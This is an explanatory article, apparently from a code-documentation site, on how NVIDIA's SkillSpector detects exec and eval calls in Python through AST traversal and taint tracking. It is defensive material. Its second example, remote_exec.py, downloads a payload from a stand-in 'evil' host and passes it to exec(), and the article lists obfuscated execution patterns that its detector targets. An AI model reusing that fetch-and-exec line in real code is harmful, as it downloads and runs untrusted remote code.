How AST-Based Behavioral Analysis Detects Exec and Eval Calls in SkillSpector

SkillSpector uses an AST-based behavioral analyzer that traverses Python's abstract syntax tree to identify direct and indirect calls to exec() and eval(), employing taint tracking to flag when untrusted data flows into these dangerous execution sinks.

NVIDIA's SkillSpector employs sophisticated AST-based behavioral analysis to identify dynamic code execution vulnerabilities in Python source files. By parsing abstract syntax trees and tracking tainted data flows from external sources, the analyzer detects both obvious and obfuscated uses of exec and eval that could enable code injection attacks.

The Detection Pipeline: From Parsing to Risk Scoring

SkillSpector's behavioral analysis operates through a six-stage pipeline implemented across specialized analyzer nodes. The system processes each source file methodically to surface dynamic execution threats.

Source Parsing and Tree Traversal

The analysis begins in src/skillspector/nodes/analyzers/behavioral_ast.py, where the BehavioralASTAnalyzer invokes Python's built-in ast.parse() to generate an abstract syntax tree. A custom BehavioralASTVisitor class then traverses every node, specifically targeting ast.Call nodes that represent function invocations.

This visitor pattern enables deep inspection of call chains while maintaining context about the surrounding code structure.

Direct Execution Sink Identification

The most straightforward detection occurs when the analyzer encounters unambiguous calls to dynamic execution functions. The visitor checks each call node using the precise logic:

if isinstance(node.func, ast.Name) and node.func.id in {"exec", "eval"}:
    self._add_finding(severity="CRITICAL", ...)

When this pattern matches, SkillSpector immediately records a CRITICAL severity finding, as the code explicitly invokes dangerous execution primitives.

Indirect Chain Detection via Taint Tracking

Modern malicious payloads rarely use direct exec calls. Instead, they rely on indirect execution chains that the analyzer detects through integration with src/skillspector/nodes/analyzers/behavioral_taint_tracking.py.

The taint-tracking system marks values originating from untrusted sources—including network I/O, file reads, and environment variables—as tainted. When the AST analyzer discovers that a tainted value reaches an execution sink, it emits a HIGH severity finding, indicating a likely code injection vector.

Helper Construct Pattern Matching

Attackers frequently obfuscate execution through helper functions and attribute chains. The BehavioralASTVisitor contains specialized detection methods to uncover these patterns:

  • _is_compile_call(node): Detects when exec or eval receives input from a compile() call, indicating pre-processed malicious bytecode
  • _is_urlopen_chain(node): Recognizes chained attribute accesses ending in read() on network objects like urllib.request.urlopen()
  • _is_import_system_call(node): Identifies dynamic import patterns such as __import__("os").system() that eventually lead to execution sinks

These helpers examine the AST shape to detect constructs like exec(open(...).read()) or exec(urllib.request.urlopen(...).read()).

Core Implementation: The BehavioralASTVisitor Class

The detection logic resides within the BehavioralASTVisitor class defined in behavioral_ast.py. This visitor extends Python's standard ast.NodeVisitor to implement security-specific traversal rules.

When the visitor encounters a potential execution sink, it consults the taint-tracking analyzer to determine if the arguments originate from external sources. This cross-analyzer communication enables the system to distinguish between hardcoded safe strings (which might still be bad practice) and truly dangerous dynamic execution scenarios.

The analyzer creates a Finding object for each detection, populated with metadata including file location, line number, and severity level. These findings propagate to the report node for final scoring.

Taint Propagation and Untrusted Data Flows

The behavioral_taint_tracking.py module implements the data flow analysis that powers indirect detection. It tracks variables assigned from high-risk sources:

  • requests.get() or urllib.request.urlopen() return values
  • open() file handles and .read() operations
  • os.getenv() environment variable access
  • User input from input() or command-line arguments

When tainted data flows into exec(), eval(), or their obfuscated variants, the AST analyzer flags the execution point. The unit tests in tests/nodes/analyzers/test_behavioral_taint_tracking.py verify that these flows are correctly identified across complex control flows.

Practical Detection Examples

Example 1: Direct Execution Detection

Consider a simple script containing an explicit exec call:


# demo_script.py

code = "print('Hello')"
exec(code)

Analyzing this file produces immediate results:

from skillspector.graph import SkillGraph
from skillspector.nodes.analyzers.behavioral_ast import BehavioralASTAnalyzer

graph = SkillGraph()
analyzer = BehavioralASTAnalyzer()
findings = analyzer.analyze_path("demo_script.py", language="python")
print(findings)

The output identifies the critical vulnerability:

[
  {
    "type": "behavioral_ast",
    "severity": "CRITICAL",
    "message": "Direct call to exec() with potentially tainted source",
    "location": {"file": "demo_script.py", "line": 2}
  }
]

Example 2: Indirect Network-Based Execution

The analyzer excels at detecting obfuscated execution chains:


# remote_exec.py

import urllib.request
payload = urllib.request.urlopen("http://evil/payload").read()
exec(payload)

This pattern triggers a HIGH severity finding because the taint tracker identifies that payload originates from an external network request before flowing into exec.

Example 3: Command-Line Analysis

SkillSpector exposes this functionality through the spector CLI:

spector analyze -p remote_exec.py -l python

The tool outputs structured findings:


[⚠️] Behavioral AST – HIGH – exec() receives data from urllib.request.urlopen
File: remote_exec.py:4

Integration with Risk Scoring

Findings from the AST-based behavioral analysis flow into src/skillspector/nodes/report.py, which applies the "Executable scripts" risk multiplier to the final score. This multiplier elevates the risk profile of any skill containing dynamic execution capabilities, ensuring that even indirect or obfuscated execution paths contribute significantly to the overall security assessment.

The test suite in tests/nodes/analyzers/test_behavioral_ast.py documents expected behaviors for various execution patterns, providing regression protection for the detection logic.

Summary

  • AST-based behavioral analysis in SkillSpector traverses Python syntax trees using the BehavioralASTVisitor class to locate dangerous execution patterns.
  • Direct calls to exec or eval trigger CRITICAL severity findings through explicit name matching in behavioral_ast.py.
  • Indirect execution chains are detected via taint tracking in behavioral_taint_tracking.py, which monitors data flows from network, file, and environment sources.
  • Helper methods like _is_compile_call(), _is_urlopen_chain(), and _is_import_system_call() uncover obfuscated attack vectors.
  • Findings integrate with the Report node to apply the "Executable scripts" risk multiplier, elevating the security risk of dynamically executing code.

Frequently Asked Questions

What is the difference between CRITICAL and HIGH severity findings in SkillSpector's AST analysis?

CRITICAL findings indicate direct calls to exec() or eval() where the function name is explicitly invoked, representing immediate dynamic execution capabilities. HIGH severity findings indicate indirect execution where the code receives potentially tainted data from external sources (network, files, environment variables) before reaching an execution sink, suggesting a probable code injection vulnerability.

How does SkillSpector track tainted data from network sources to execution sinks?

The behavioral_taint_tracking.py analyzer marks return values from high-risk functions like urllib.request.urlopen(), requests.get(), and os.getenv() as tainted. As the AST visitor traverses the tree, it queries this taint status when encountering execution sinks. If a tainted value reaches exec or eval, the system records a finding with elevated severity.

Can SkillSpector detect obfuscated exec calls using compile() or import()?

Yes. The BehavioralASTVisitor includes specific detection methods: _is_compile_call() identifies when exec receives pre-compiled code objects, while _is_import_system_call() recognizes dynamic import patterns like __import__("os").system(). These patterns trigger findings even when the execution is masked through multiple layers of abstraction.

How does the behavioral AST analyzer integrate with the final risk score?

Findings generated by the AST analyzer propagate to src/skillspector/nodes/report.py, which applies the "Executable scripts" multiplier to the skill's risk calculation. This multiplier significantly increases the overall risk score for any skill containing dynamic execution capabilities, ensuring that both direct and indirect execution paths are reflected in the final security assessment.

Have a question about this repo?

These articles cover the highlights, but your codebase questions are specific. Give your agent direct access to the source. Share this with your agent to get started:

Share the following with your agent to get started:
curl -s "https://instagit.com/install.md"

Works with
Claude Codex Cursor VS Code OpenClaw Any MCP Client

Maintain an open-source project? Get it listed too →